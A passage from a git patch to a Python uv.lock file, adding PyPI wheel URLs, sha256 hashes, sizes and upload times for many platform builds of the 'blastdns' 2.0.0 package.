"2026-09-22T15:08:12.185Z" }, + { url = "https://files.pythonhosted.org/packages/06/73/486cd65fd61e3ab3c8308c56188ccd0bd8e473d2e9149281b03d47d61f12/blastdns-2.0.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:6826b3cb252de74f1f2b9aba810e8c9adb48e12d31aa89e31c2df6809b0a0fca", size = 3871364, upload-time = "2026-09-22T15:07:44.423Z" }, + { url = "https://files.pythonhosted.org/packages/3b/81/cc06edaf6f3576275d428c3bfb73099a6c8e73c7cf48bcadbabb456e8f6c/blastdns-2.0.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:142e898d56b4fff83fa7c72e93d251c0d28d1f07ae1fab40cf3b1286efe7c980", size = 2781192, upload-time = "2026-09-22T15:07:59.078Z" }, + { url = "https://files.pythonhosted.org/packages/b6/b5/aeab817311a16be5558af6d3d787c605775f7ccaaf761b8bc5f5b22f564e/blastdns-2.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:c50f2bb010807d91fe1cd7fde26a0f304e71e19ed86c95500cc9d067cc60e861", size = 2648527, upload-time = "2026-09-22T15:08:25.548Z" }, + { url = "https://files.pythonhosted.org/packages/8a/d1/50e9bd6b42b05ad9dfb1531972aabb20157329fa89507cf59264f1963040/blastdns-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3bfe7263ba7a0fd0755fc7b66fd4982bb13984ef25f3a41e98b7c9b286c25006", size = 2900456, upload-time = "2026-09-22T15:08:51.424Z" }, + { url = "https://files.pythonhosted.org/packages/c1/0e/6e709d5013948000341e5c36bbc56ee74d097560a036279d490f22b90445/blastdns-2.0.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:b974a43a8bd36751d1ed381ec9ef2bdfca99a88c7beca06adddf0d7854de9a10", size = 2876959, upload-time = "2026-09-22T15:09:04.375Z" }, + { url = "https://files.pythonhosted.org/packages/21/b3/b86c2e00f916674a3e5540bcf03231c503a6ac039dff34f03c599c447a80/blastdns-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:4edf4a8ba91bb8561dc4c643cbb667d0a97cf6fd9d944be2dfe1eda5859beaa9", size = 2968009, upload-time = "2026-09-22T15:09:17.618Z" }, + { url = "https://files.pythonhosted.org/packages/e9/01/8ad0f68020adbe7b83e47352a7ed4476e54231e66ea809cf1b2bb240a9af/blastdns-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7d467720a373d8f7f575b0527bad703024ca9e4f0f10af76e4f5584eec56cd86", size = 2965991, upload-time = "2026-09-22T15:09:31.163Z" }, + { url = "https://files.pythonhosted.org/packages/57/66/ba1c821659c0b243845372988db3367c7bf5344c3719e30d03c793898998/blastdns-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:838358819ceaa1766e92135cca04e15c615ba6495ad8769d77d31a1156144220", size = 2896002, upload-time = "2026-09-22T15:09:44.507Z" }, + { url = "https://files.pythonhosted.org/packages/e5/46/7f577bcd9147c92d9d96879da0574333e34998166d1869167a02b1e4dd8e/blastdns-2.0.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:8351ace2db652948ee353f258918b938b173333aba31c595107ce29b441a0847", size = 2842785, upload-time = "2026-09-22T15:08:44.963Z" }, + { url = "https://files.pythonhosted.org/packages/3c/fd/198a90e03539291cd2439724fbdcde77887f46d7165afe037f592a2555f2/blastdns-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e81f8e11b73f4f1a909169f24b3026e11ad8bbad808b067663f1dfec8677dc0d", size = 2702746, upload-time = "2026-09-22T15:08:38.516Z" }, + { url = "https://files.pythonhosted.org/packages/8e/98/3c85b5061d904e731fb9a8927db98090961ffacd1d3ded77a2350b9c6c6b/blastdns-2.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:2d507c48d8d237f693af9af17694e65a4fdc14e559c45364e3467174c9dbce8d", size = 2718100, upload-time = "2026-09-22T15:07:20.844Z" }, + { url = "https://files.pythonhosted.org/packages/64/e7/dd5b5bcb300ec1f5c388a57ba1cb3258be505099bab1f2740faf37d9747c/blastdns-2.0.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:73bc4fd4dfe1f9c8b64a0166c678b945118402b9cda6da7d238454b893f2db16", size = 2603842, upload-time = "2026-09-22T15:07:33.306Z" }, + { url = "https://files.pythonhosted.org/packages/65/c8/96d27e9800b921b9e952d4e54de0f7441ee585c92bf0644ac1373104ecbe/blastdns-2.0.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:eeb819c1819a864ed806d9b3aebf574aa53a0cad14f3ba395c6d295e5eff076c", size = 2855081, upload-time = "2026-09-22T15:08:13.764Z" }, + { url = "https://files.pythonhosted.org/packages/7e/57/fa450c448b7bb1336ea1d5bdf2b36cecbe5f0301b924f035e5c9a7df12dc/blastdns-2.0.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:09deaaf5f9d9beb76db637b76ef0f27695108cd17aeab6fd79311005cea90dc2", size = 3869873, upload-time = "2026-09-22T15:07:46.037Z" }, + { url = "https://files.pythonhosted.org/packages/20/7a/1cb6410739801a4beb543137cafff3bb4270ac1e508c4839dd6432987699/blastdns-2.0.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:43514aed8c933d553a1ead0b5d53b258fe99ba8409d898b6d50569362e44b2a8", size = 2781417, upload-time = "2026-09-22T15:08:00.736Z" }, + { url = "https://files.pythonhosted.org/packages/d7/d4/317a1adcd9d752fb54621cebe5ceff0b27d9cd8a9315be8ff7d931566e9b/blastdns-2.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:51b4692987c15d0d1884b682e9ba8b2f285abc5248e0b953cee506e9416f054b", size = 2648170, upload-time = "2026-09-22T15:08:27.048Z" }, + { url = "https://files.pythonhosted.org/packages/67/7c/ce4eedbcdc8a32193780b575705fce72de34a5aa987c0e96887a5a1644b8/blastdns-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a7e051d4d6b3ae09a17af99b31a21f702c6fe3a10bc39dc029f7a5ec57e1ce84", size = 2899444, upload-time = "2026-09-22T15:08:53.022Z" }, + { url = "https://files.pythonhosted.org/packages/b9/ba/01340b06e3f67bfbcecbed80af3a04a38d136f886d327241adbe7c3f57dd/blastdns-2.0.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:b327ee5564166eae8ce6d4af25330cd2345001702d65addb6a2ec5ca51f8da2f", size = 2876108, upload-time = "2026-09-22T15:09:06.132Z" }, + { url = "https://files.pythonhosted.org/packages/fe/63/f43585828d0d632953957a7931222bd24f564019aa63839bd0d93236a3db/blastdns-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:14cdf1c18d1f8030c2dcf9a45ab7afea738de99f9da53a1de6de058e8138a5cf", size = 2967997, upload-time = "2026-09-22T15:09:19.468Z" }, + { url = "https://files.pythonhosted.org/packages/9f/9b/b94f746d2e4a584d4b6f28a917ba302763fc9c80b408e2d47d1049666860/blastdns-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:97c7de160c0d9da917cde3a6329202804b61e895c4dd0b24141cb0de1f61bee0", size = 2965137, upload-time = "2026-09-22T15:09:32.611Z" }, + { url = "https://files.pythonhosted.org/packages/96/60/58693d07f674ad550c9cf06f12db1de2efa31efa6371d4de30abfdc180e5/blastdns-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:2810a6f6464130d6a8dbc8b7e97f7d8c58faf3e1880dc36202a54265827fb8ac", size = 2896519, upload-time = "2026-09-22T15:09:46.218Z" }, + { url = "https://files.pythonhosted.org/packages/f9/96/476d0428662b4c858ccc358b5fa460d3aeccab2ee6d53452f185ecb1a588/blastdns-2.0.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:310b0841bed2408fe5572da3d7cc31121ebd143540b8d4eee7d2e72379093db1", size = 2835448, upload-time = "2026-09-22T15:08:46.526Z" }, + { url = "https://files.pythonhosted.org/packages/d4/11/d01a7d84d31c6118b517ce95711605aed53a11b432258607113b420a7f7e/blastdns-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:dc84ea39d619d2500f16ff922a0c29d2be6733750532a878037540a5611f149c", size = 2693129, upload-time = "2026-09-22T15:08:40.261Z" }, + { url = "https://files.pythonhosted.org/packages/98/f8/1738e7c407c4fff4b5f060105249a3db5b14fc5f9a545399cc9881d3a97a/blastdns-2.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:571defd1b5e2df3a503d8662a48bb06694d8e67ac8d45d1cb041f99ce6ad6a3f", size = 2709065, upload-time = "2026-09-22T15:07:22.258Z" }, + { url = "https://files.pythonhosted.org/packages/2f/8d/d799e607f84f3c4b889fe981fdb10bfc2b061fec700eee5e5e21e5b0c6eb/blastdns-2.0.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:14b6a580c1ddc60a92631d66949d87ce2a73fe757e6397996f947f1a6ac767f2", size = 2602900, upload-time = "2026-09-22T15:07:35.027Z" }, + { url = "https://files.pythonhosted.org/packages/29/74/cc681a2e562ae0493cb80cb1330d7e88c65a00264900509bdb8a0f87a90d/blastdns-2.0.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:c4be35b13ca6c55181a970a80a9c479143bf836f383e9ac9d836e0b4b11d3a8b", size = 2852808, upload-time = "2026-09-22T15:08:15.227Z" }, + { url = "https://files.pythonhosted.org/packages/19/c9/57eaa902fc0c658c274e9a230ac9dd948586ca7404885fe3e831d2928b07/blastdns-2.0.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:50d109ee31b02fcd5cb2eb3fb15f18e023e7eaaae33b8ec16a2c00dc6282faa5", size = 3864668, upload-time = "2026-09-22T15:07:47.626Z" }, + { url = "https://files.pythonhosted.org/packages/ed/74/26cf55a0b277f886315a4bdec91ed27d8644363f3152b7b8eb8f31749e08/blastdns-2.0.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:e0d44c234e8a248039d236ec50a93510929119bca956ebf99e5711394c7d30bb", size = 2777770, upload-time = "2026-09-22T15:08:02.317Z" }, + { url = "https://files.pythonhosted.org/packages/1c/ea/b4a90807a17738c9d2090017e48ed4c80713f37d3704ae6601f79ceb65ce/blastdns-2.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:519d854a18987bc5d9c27b250cef80927ba6424751e20bf3f70e9eceb62a5793", size = 2644016, upload-time = "2026-09-22T15:08:28.446Z" }, + { url = "https://files.pythonhosted.org/packages/65/45/4ddda1c1227f42480308571afd0f0db1da6a3fda7340872c888833e9a4e3/blastdns-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8eefe01153faa9e5eaea0b20177a1f93664c08b74204430b11c7a649df5d674c", size = 2889039, upload-time = "2026-09-22T15:08:54.62Z" }, + { url = "https://files.pythonhosted.org/packages/9b/a3/38fe980be309143fa70c0e04a1555812977a394deb4f62f04c3c849a2d89/blastdns-2.0.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b00c58ae5a34348e4abe9c2a5ec7ca2f57a1f606f1d530fc8f086e89989df651", size = 2876735, upload-time = "2026-09-22T15:09:07.75Z" }, + { url = "https://files.pythonhosted.org/packages/a3/80/f769f46e4e9e7287d5c2635921bede6c1facd59ddbf0a6e49ba1fdd7db57/blastdns-2.0.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9b4fe18afb843d53415a6d29e9ca2a18826b5b99976cb26e8bcd47e827101a1d", size = 2960507, upload-time = "2026-09-22T15:09:20.971Z" }, + { url = "https://files.pythonhosted.org/packages/a1/bd/9309e53b152ed2828a0c78272aeb65a0919e69537565d07d0e0649c01371/blastdns-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:570c37c519c08a2dcf4d3a5e79146be6e266c89984b3f090f6950ba9dd15ccea", size = 2959800, upload-time = "2026-09-22T15:09:33.995Z" }, + { url = "https://files.pythonhosted.org/packages/20/1e/72843915ed817d0e82cf6e9130227beafeab39e4ae8ddb7aec774c4cd560/blastdns-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:ca4e0eb101eae9dee771c041db9e9101c8f0611f3d6cd58da35afbea3862a3f6", size = 2893234, upload-time = "2026-09-22T15:09:47.903Z" }, + { url = "https://files.pythonhosted.org/packages/f8/39/a5db8864bb6229a1e93e570e7360eb5457660a3dfb8c17dcbc6bd48683f1/blastdns-2.0.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:ce92a5a7145348a20e3337ed6a6dc80ca296d7ba087927c6bec0ed97673f236e", size = 2835533, upload-time = "2026-09-22T15:08:48.212Z" }, + { url = "https://files.pythonhosted.org/packages/44/b0/a85efee02d4722ac41edf1998a2c6034a63ac43682692efa0a88ee3e2a72/blastdns-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:13b2e161f1f99f4fa73e1df4ec16b7cd86b29a5f5e20fbf368849381753132cb", size = 2693063, upload-time = "2026-09-22T15:08:41.623Z" }, + { url = "https://files.pythonhosted.org/packages/85/67/74bdf494f48c2f6bc256a199ac5823267da495cb99e6c22b8491f8df6c11/blastdns-2.0.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:6d087c8352c31a25adcf11d1e3a3ea50289513560ca5807af8cb00dff4ff3430", size = 2708994, upload-time = "2026-09-22T15:07:23.729Z" }, + { url = "https://files.pythonhosted.org/packages/b4/c4/7a6579d6cd9851eb07fb86b706dfa83d26d42128e6fe45541343dc63147f/blastdns-2.0.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:1f464664df7e8f924ee486b6a1ab50bcf720a902010f140938f84d518d92820f", size = 2603021, upload-time = "2026-09-22T15:07:36.747Z" }, + { url = "https://files.pythonhosted.org/packages/2f/21/a32d9b19857f5ce1b0714a4c740146b4e93cfec09d741a58d057764b7d01/blastdns-2.0.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:a036964128a1b30ab0594978c9acb13e431b6e6df5f04270497cc34be607f9c3", size = 2853115, upload-time = "2026-09-22T15:08:17.537Z" }, + { url = "https://files.pythonhosted.org/packages/33/06/5b2705ac73a09c4d5150c4577b828cd45e4031de2da50c8c41f400550319/blastdns-2.0.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:ed6fabb7ce356056899ab820786bcc9bb28e023d0af9ecf11e12bd3dafb9cfc5", size = 3864541, upload-time = "2026-09-22T15:07:49.339Z" }, + { url = "https://files.pythonhosted.org/packages/a4/59/864b59824c63cab452b92dedb826459861ff70409485973ff6760ed42b63/blastdns-2.0.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:8db531d4abe616a58a466f022990c67b056b0a37e7489eb43fcccfd2d886f9a6", size = 2776027, upload-time = "2026-09-22T15:08:03.944Z" }, + { url = "https://files.pythonhosted.org/packages/fa/f2/c61d995b71506596b771b8b664db4d69a57e59b6e0fe52b71bcebfd428b3/blastdns-2.0.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:60197e85dd2eba9edbf3d0e55894d1d65bc5236c7558497b0881da0dc6e48211", size = 2643639, upload-time = "2026-09-22T15:08:30.125Z" }, + { url = "https://files.pythonhosted.org/packages/eb/e9/10ab9b68e74922bd05d8637984f83ce80615850edc779863b27adb6875c7/blastdns-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5a38290f6003cb883d91378cfe6ac5ac0e3b9d9fb13f94d70e92eca209f82dfe", size = 2888146, upload-time = "2026-09-22T15:08:56.314Z" }, + { url = "https://files.pythonhosted.org/packages/27/d1/256835b30033bcf2ae761b20b6522a9923382acd4baf97bf8c09cb56f300/blastdns-2.0.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:c3b020008641e5047aad39b434ac6921022cd7c089ed110ab85bfbe271f9665d", size = 2876899, upload-time = "2026-09-22T15:09:09.429Z" }, + { url = "https://files.pythonhosted.org/packages/44/e9/ac0434e31af4300395ae6b00d88f88cdcf73c15ac227e6a5b856c00289d3/blastdns-2.0.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:5c996778b8a70169071e3110087ce6111bcb4816c9fbf1b51c16287a85333c13", size = 2961010, upload-time = "2026-09-22T15:09:22.529Z" }, + { url = "https://files.pythonhosted.org/packages/51/e6/93fc905327e850d163df1b0bba77dd59732721a11d5932ec45233a145047/blastdns-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dbe8e011c0f05930e5c24b16835bc67423d1f9d41f087b81bbc90e55920bcf19", size = 2959561, upload-time = "2026-09-22T15:09:35.626Z" }, + { url = "https://files.pythonhosted.org/packages/9e/eb/ba7d52bff317d26c197d2e4c9eb59ceb5c81c0554787f6bf89b67364bac8/blastdns-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:0c16298df3453f4f09cf5cba415c698178875710cd8fa0fe08a1826b5048ec5e", size = 2892801, upload-time = "2026-09-22T15:09:49.607Z" }, + { url = "https://files.pythonhosted.org/packages/2a/11/6b3fb5929c85041a0f76920504318c193189d468b2f7fcd4ff79c4fa0aa5/blastdns-2.0.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:01cf4b75298504d189d6a679e3d275c4d9028a7fffac5f6221734cd0af0d6c3b", size = 2835360, upload-time = "2026-09-22T15:08:49.91Z" }, + { url = "https://files.pythonhosted.org/packages/80/c4/6a54cf27db17576216fd80bc2b9f4b48b019293351a9554700501152ef8c/blastdns-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:705df149f190d22b0e1cca9277e99da262f27ef6838d8342d60c679be400a101", size = 2699592, upload-time = "2026-09-22T15:08:43.383Z" }, + { url = "https://files.pythonhosted.org/packages/75/7a/fa5f6bbbff97c3d95774ed1caf28117c3d5b35480fff2e4640bf9c702852/blastdns-2.0.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:c78f43fb9fd4d976d481917b1ff245126f0de679032c87eef4ee68ced2b792bd", size = 2712167, upload-time = "2026-09-22T15:07:25.407Z" }, + { url = "https://files.pythonhosted.org/packages/67/3f/1bcb164095cd9996df84f10b3da52d2e1f3bcc1620ed00262c7b7df2745b/blastdns-2.0.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:5b369fedffb6d723912ba052b4d0400f7facf54d4db217bd9d26c738a7f6009a", size = 2603483, upload-time = "2026-09-22T15:07:38.392Z" }, + { url = "https://files.pythonhosted.org/packages/02/7c/ed7d1056edb3a242ece4e88c21eac107ebfb19d441171fc2b7b7d7b09ae2/blastdns-2.0.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:24dfe8f9521d31e5b0ff4c676c611b0917bd2f002b246501556082b404842aea", size = 2853477, upload-time = "2026-09-22T15:08:19.144Z" }, + { url = "https://files.pythonhosted.org/packages/32/1d/9780aafd6dfe2bb52babf2007e83f0752559a668dfcfd71632e0d73a7615/blastdns-2.0.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:ac0d40ca563958ca3ddb3082058854b2e327d9b404eede5958c43e32418cf2be", size = 3864263, upload-time = "2026-09-22T15:07:51.096Z" }, + { url = "https://files.pythonhosted.org/packages/1c/d8/46767fdf13e0a9e6bf295a948b99480810f61c09608b303293df7b7ef456/blastdns-2.0.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:fd94b8f168f4023b6181e75a22874d53c38ae6cc9a56675e7b576234fa943e3b", size = 2777474, upload-time = "2026-09-22T15:08:05.558Z" }, + { url = "https://files.pythonhosted.org/packages/5d/52/b88f641f3ea172b999934dd19d8df3df14797ee7be047c528de773c879c9/blastdns-2.0.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:4e5f97cd6d704e5b92c583c6827a35d1f15166916fb60a65af9c1964239a8604", size = 2647384, upload-time = "2026-09-22T15:08:31.746Z" }, + { url = "https://files.pythonhosted.org/packages/89/d3/657f45d789ff685395b3c3370a3b8a51dc47a4ca9767ce71ec9c36d515e3/blastdns-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7d581b80ad528df9e2b7404102c5412aec8741da0d204e0d9adc7f61c72b61fa", size = 2891111, upload-time = "2026-09-22T15:08:58.046Z" }, + { url = "https://files.pythonhosted.org/packages/20/b1/32072d3e10c9fd85c00f720b43f1950447fbd86af616a056448bbe8b8e3e/blastdns-2.0.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:3a560128f38616cb47ec3330a11f3884f64e534188f6213195cd7e128913b0cb", size = 2878358, upload-time = "2026-09-22T15:09:10.963Z" }, + { url = "https://files.pythonhosted.org/packages/59/21/71fc77bd93672cababdd1027fe6c813823e3f1026b37d4ebf62b962fa766/blastdns-2.0.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:490c05c290d5156e8fadb870a6ad5794675c9f6de33f9633bd31dbe9bef7797c", size = 2961662, upload-time = "2026-09-22T15:09:24.328Z" }, + { url = "https://files.pythonhosted.org/packages/fe/64/c0f11dde18808af3cf18a6222ae58bbb25ea169cf47570bac9b85f1246b2/blastdns-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:fa43e94b57f2976de36f7b9f24de35cd7c0f6a246cbedb44511664b0e687c4e8", size = 2963656, upload-time = "2026-09-22T15:09:37.075Z" }, + { url = "https://files.pythonhosted.org/packages/c8/cf/4c8a373573d6687d5821cb9c9c175ec9004f130b1c85cb6eda78db428154/blastdns-2.0.0-cp314-cp314-win32.whl", hash = "sha256:327e67116350cc3766d15dc0807ef07a625eb3ae4bd0dd3da765d8210323ed48", size = 2396906, upload-time = "2026-09-22T15:09:52.88Z" }, + { url = "https://files.pythonhosted.org/packages/f4/22/10baffe980ef65e2ad1a6eb45545fc8a61cf412234b23259eeb809644811/blastdns-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:cffa9bb9500c8b488d8715b9ba09f6fe36b90fc83618932ad86f3fb563d5b559", size = 2898488, upload-time = "2026-09-22T15:09:51.419Z" }, + { url = "https://files.pythonhosted.org/packages/8d/82/bb64585c2938d81ea603735d90e2428f6c6b22a4d98c28c3d4af3b8547b7/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:e4e557fe609bf57ca1252c86cddf410fc6b6a1fcf45f847bff798b82138cef71", size = 2719362, upload-time = "2026-09-22T15:07:27.478Z" }, + { url = "https://files.pythonhosted.org/packages/94/85/3953b5307aeaaaaaa132127c2538762131b0759a5ef36ae717492fb7c03d/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_armv7l.whl", hash = "sha256:9006871ad8efa6d2054e7271ef08448dd3694241a7ecf36bdb65b06d2d986729", size = 2604717, upload-time = "2026-09-22T15:07:39.774Z" }, + { url = "https://files.pythonhosted.org/packages/95/ab/dbc3ab471ddd5aefea282af8589d4b9a390db42c42615968e7cd1d469905/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:6a21aef4fd2e796ae4c954cab8e4fcad53fbc99f6073716be52166932a32b1fd", size = 2850986, upload-time = "2026-09-22T15:08:20.896Z" }, + { url = "https://files.pythonhosted.org/packages/c7/ad/737406e036cd1bc45a77d8ae8c32c3c29c4c3c28577136505706e6e01b44/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:ffab9216b35af99483e8a2605925b97cbe57c7e7d362a9442df519f6a491ecce", size = 3872080, upload-time = "2026-09-22T15:07:52.761Z" }, + { url = "https://files.pythonhosted.org/packages/d0/a8/cbc40c1237222f8e11a0971a50d57b1b549dfe220717758eefac5728584f/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_s390x.whl", hash = "sha256:72bfc9333131e3faff4e4d641549958a1f3a374e3c89610fc24ecff3a985edbd", size = 2784031, upload-time = "2026-09-22T15:08:07.051Z" }, + { url = "https://files.pythonhosted.org/packages/a2/14/c3e23a8c6cd4b09e8e1cc407b3d633bbfb261400f710e23f9a45f06f75b5/blastdns-2.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:5d7bb3c48ee3463ff06245ea34b6bb55bd4d9e21e48b9d7b250f67f329110817", size = 2649945, upload-time = "2026-09-22T15:08:33.933Z" }, + { url = "https://files.pythonhosted.org/packages/0e/98/c48494da5609525487fff8558d934b429b47df088c465d989419436fd0d1/blastdns-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:06e821966692495bfec0487c84da85178551958ca7dd8c2bc8007dfcffa476c0", size = 2897452, upload-time = "2026-09-22T15:08:59.613Z" }, + { url = "https://files.pythonhosted.org/packages/de/48/ec4b6367c776bf5517c9576f54f466d135cf9deee62a9ce2a5c59057db23/blastdns-2.0.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:fe50df4344c7a351652e854d2029bf6de74dd1a2c4b56fb4fe4a8d843b50007c", size = 2877475, upload-time = "2026-09-22T15:09:12.869Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d9/1158d43293a8238f166b1924d7a57a99a3d081853d486c15f2c2bf971b67/blastdns-2.0.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:138d9909f8a4c752ca7adc8617977ba24ef924ba4efd9a619be49adc6659c773", size = 2957210, upload-time = "2026-09-22T15:09:25.977Z" }, + { url = "https://files.pythonhosted.org/packages/51/e1/e09fd5b0a87742c72ba0628e1f55bf32423176311ce9467ee5d501e01c7b/blastdns-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:497358e7f978e3a43e0066d3a4e8987d70a238b7b9ad74315f26e9de2eaaa969", size = 2967979, upload-time = "2026-09-22T15:09:38.78Z" }, + { url = "https://files.pythonhosted.org/packages/81/59/9538910312e62a2cd624a301e85a67826d07ba7a3ce6a640f2165388c47c/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:1f4d5889044de0d58e9f00a6e1049903083006f98feb57e5fd69f9ad1bf7c313", size = 2718275, upload-time = "2026-09-22T15:07:30.438Z" }, + { url = "https://files.pythonhosted.org/packages/58/eb/672e2448f77dd37b8a74c7d288e2c20a594bac00da31aff0b15587242d09/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_armv7l.whl", hash = "sha256:7b8fa648c98e3cba68a88ec4705e3a3b7ced4363b9c7c79edc5f854b52f45c1e", size = 2603987, upload-time = "2026-09-22T15:07:42.755Z" }, + { url = "https://files.pythonhosted.org/packages/77/70/4ca1228e934041d003c121f316caa41b5a63f6a6080a179f77b18f24f5f9/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_i686.whl", hash = "sha256:8061d1c164b7d640723802bcfe7d1802b8dc3dc00380f74ba22db9cc7de32e02", size = 2859104, upload-time = "2026-09-22T15:08:24.012Z" }, + { url = "https://files.pythonhosted.org/packages/0c/c9/0c6cb5420b860415e67bd8572b511f3573348f19b2a54f95ac96c184a773/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_ppc64le.whl", hash = "sha256:9f6b0ae5df01ddb04893f39831c438588c075f77d2c56b7bfa26bff5a182e698", size = 3870589, upload-time = "2026-09-22T15:07:56.827Z" }, + { url = "https://files.pythonhosted.org/packages/82/a7/bfaee0af734f1752fd326f9d8be65cb1faac2822c8c032b481721b3419ed/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_s390x.whl", hash = "sha256:97a007c61e1c76834edb439c0bca19fba88f4bf15bc7f04012fa4888ede05b2f", size = 2782517, upload-time = "2026-09-22T15:08:10.165Z" }, + { url = "https://files.pythonhosted.org/packages/3b/8c/ffd1dd369bfd2d86b51251c73b86a3f2fed675405e2d9a2bd850d120042e/blastdns-2.0.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9b13c9347402f615597a6bf9e4add05b753f7bb24b344568ea83653a8c27b5d", size = 2649931, upload-time = "2026-09-22T15:08:36.826Z" }, + { url = "https://files.pythonhosted.org/packages/94/03/41545c2b853489ae08c5b1e9d543ca0db699544fa5f34ef46f19bca8f028/blastdns-2.0.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:ebc1481d4f7d3472f9b704adbec97260a877943a34df3902f54f1dbcd0007a55", size = 2897847, upload-time = "2026-09-22T15:09:02.61Z" }, + { url = "https://files.pythonhosted.org/packages/8f/2f/983fbbb9552cf5ff77cbe0137b1e33c6dd27179556942a4bb981f554ed3b/blastdns-2.0.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:890bbf43f7f03e3fecab89f73dc4b0e787e15763c1ce3b1dd4cc41d450950be8", size = 2878200, upload-time = "2026-09-22T15:09:15.917Z" }, + { url = "https://files.pythonhosted.org/packages/c1/c5/679df448cb7495bb299e0c0d1ff01586a7696c8b60826d75d5ec3efeb977/blastdns-2.0.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:d6450e293fc1e7aa7ef6d0457a9d5bde609736215ef24c213dd6d73251b6f73a", size = 2970379, upload-time = "2026-09-22T15:09:29.58Z" }, + { url = "https://files.pythonhosted.org/packages/6b/5d/a85a96975a713264a588d1364882240c010ac8fce8537e7fd2f4da48e4f9/blastdns-2.0.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:6afa71169e23fb47a179420af05d6dfd51c7062130e11a16e0ade1d302fcf45b", size = 2965229, upload-time = "2026-09-22T15:09:41.993Z" }, ] [[package]] From 1fa9da28574c582a0c32941b91fcf1c57e8c3aef Mon Sep 17 00:00:00 